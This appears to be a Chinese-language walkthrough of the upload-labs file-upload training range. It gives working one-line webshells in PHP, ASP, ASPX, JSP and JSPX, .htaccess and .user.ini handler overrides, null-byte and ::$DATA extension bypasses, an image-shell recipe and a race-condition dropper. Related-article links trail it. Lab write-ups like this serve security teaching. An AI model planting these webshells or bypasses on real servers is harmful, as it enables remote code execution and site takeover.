当前位置: 首页 > news >正文

2026最详细upload-labs靶场通关教程

前置知识

webshell

以网页形式存在的代码执行环境。用于内容管理(网站、服务器、权限管理等)

有asp、jsp、php、aspx、jspx的动态脚本语言

//php

<?php @eval($_POST['cmd']);?>

//asp

<%eval request("cmd")%>

//aspx

<%@Page Language="Jscript"%><eval(Request.Item["cmd"],"unsafe");%>

//jsp

<%
if(request.getParameter("cmd")!=null){
new ProcessBuilder(request.getParameter("cmd")).redirectErrorStream(true).start().waitFor();
}
%>

//jspx

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
<jsp:scriptlet>
if(request.getParameter("cmd")!=null){
Runtime.getRuntime().exec(request.getParameter("cmd"));
}
</jsp:scriptlet>
</jsp:root>

原理

web应用程序的文件上传的功能点。(如头像上传,修改上传,文件编辑器中文件上传,图片上传、媒体上传等)没有对用户提交的数据/类型进行严格校验,导致攻击者构造了包含恶意代码的文件成功上传

危害

攻击者操作后台。随意的看后台敏感文件,修改等

防御方式

1 在网站上传文件模块做好认证

2 校验文件类型,不允许脚本语言上传

3 设置白名单。只允许jpg、png等类文件上传

4 上传文件自动设置后缀格式

upload-labs

pass01--前端js绕过

删代码/禁用js代码

写入php的一句话木马之后上传

删掉前端代码

还有onsubmit的索引checkfile的函数。然后再次上传

禁用js代码执行

pass02--mime类型校验

意思就是content-type这个东西

修改一下

上传到了上一层路径下的upload/aaa.php。这一层是pass02.上一层就是upload-labs

所以拼接一下,测试通过了

pass03--检拓展名绕过

改一下配置(配置不当)。意思是php3、php5的后缀按php处理

抓包上传,改后缀为php3

pass04--.htaccess绕过

看源码没过滤.htaccess

.htaccess文件作用是在.htaccess同目录的文件,解析规则按.htaccess来

编辑文件:意思是遇到aaa.jpeg文件按php代码来执行

<FilesMatch "aaa.jpeg">
SetHandler application/x-httpd-php
</FilesMatch>

进行修改后缀,然后上传

. .绕过

pass05--user.ini绕过

user.ini是一个配置文件。作用于文件的目录及其子目录。

编辑user.ini文件。意思是在网站执行每一个ph'p文件,前边都要先执行aaa.jpeg(相当于嵌入代码)

auto_prepend_file=aaa.jpeg

然后进行上传jpeg木马文件

pass06--大小写绕过

构造后缀为.Php

pass07--空格过滤

pass08--点绕过

pass09--::$data流绕过

::data是windows的一个特性。比如1.txt是文件,那1.txt::data就是文件的附属数据流。包含元数据、标签等等信息。

抓包修改包信息aaa.php::$data。然后把::$data删掉进行链接

pass10--.空格.绕过

pass11--双写绕过

pass12--%00绕过get

windows在目录识别的时候,识别到0x00就会认定是字符串结束。从后往前读,读到及结束。

aaa.php0x00这样就会读到aaa.php

利用条件:

php版本<5.3.

保存位置可控

php.ini中的magic_quotes_gpc为off

然后复制图像链接,把php后边的删掉

pass13--%00绕过post方式

0x00是%00的16进制

修改之后放包还是把php后边的东西删掉

然后链接

copy p.jpg/b+aaa.php/a t.jpg

pass14--图片马+文件包含

制作图片马

copy p.jpg/b+aaa.php/a t.jpg

pass15--图片马+文件包含

同14的方法

pass16--图片马+文件包含

同14方法

pass17--二次渲染+文件包含

先上传一张图片,然后下载下来,用工具打开对比不同的地方。然后把恶意代码放进去没有变化的位置。然后用文件包含漏洞包含就可以了

还有一种是用写的脚本(需要可以联系我)。在网站根目录生成一张图

进行包含并且修改post方式

pass18

同17关一样

pass19--条件竞争

准备木马文件

<?php
file_put_contents("aaa.php","<?php phpinfo();?>")
?>

bp抓上传的包,抓到之后放到intruder。开始爆破,进行反复上传

期间反复请求父木马文件。会有间隙生成子木马文件aaa.php

pass20--特殊符号

windows下构造php\.,linux构造php/.

pass21--数组后缀绕过

http://www.jsqmd.com/news/570087/

相关文章:

  • Arduino称重传感器实战:HX711从接线到代码的完整指南(附多平台示例)
  • Hotkey Detective:3步快速解决Windows热键冲突,找出占用快捷键的幕后黑手
  • vscode如何添加ollama本地模型-实现token自由
  • 效果实测:ResNet18图像分类服务在CPU上的毫秒级响应表现
  • Qt开发避坑:QComboBox默认显示空白或提示文本的3种实用方法(附完整代码)
  • 分析轻集料混凝土LC7.5,京津冀地区靠谱厂家推荐 - myqiye
  • 从啃USB协议到跑通无线CMSIS-DAP:我的ESP32S3无线USB集线器开发踩坑实录
  • Adobe软件非正版弹窗终极解决方案:PS/Ai/PR/AE禁用提示一键清除指南
  • Mermaid Live Editor:代码即画布的思维可视化革命
  • Nunchaku-FLUX.1-dev惊艳效果展示:江南水乡水墨风+赛博朋克夜景作品集
  • OpenCore Legacy Patcher:驱动适配技术让老旧Mac实现系统版本跨越
  • Jimeng AI Studio效果展示:Z-Image-Turbo生成的中国风山水/敦煌壁画风格图
  • 快速搞懂盒马鲜生卡使用范围及回收方式,让交易更安心 - 团团收购物卡回收
  • Qwen3.5-2B轻量模型实测:在Mac M2 MacBook Air上流畅运行图文对话
  • 利用MathType公式与GLM-OCR结合实现理科试卷自动批改
  • Voron 2.4 3D打印机进阶调试与故障排除指南
  • HSTracker:重新定义macOS炉石传说数据追踪与卡组管理体验
  • AnotherRedisDesktopManager:提升Redis管理效率的可视化客户端
  • 奋飞咨询赋能,湖北化学制品企业斩获Ecovadis铜牌佳绩 - 奋飞咨询ecovadis
  • Hackintool完整指南:30分钟搞定黑苹果显卡、音频和USB配置
  • CHORD-X资源优化:C盘清理与模型文件存储管理策略
  • 免费窗口调整工具:3分钟学会强制修改任意窗口大小
  • 千问3.5-2B在VSCode中的集成应用:基于CodeX的智能编程助手搭建
  • 如何免费扩展你的桌面监控体验:TrafficMonitor插件完全指南
  • 惠州学美妆前三学校推荐:实力院校优选指南 - 梅1梅
  • lingbot-depth-vitl14镜像兼容性说明:insbase-cuda124-pt250-dual-v7底座深度适配细节
  • Kandinsky-5.0-I2V-Lite-5s图生视频效果展示:宠物/人像/产品三类首帧实测集
  • B站字幕提取新方案:从效率工具到内容生产力引擎
  • 5步掌握AssetStudio:从零到精通的游戏资源提取终极指南
  • 【已验证】STM32采集声音传感器实现环境声实时监测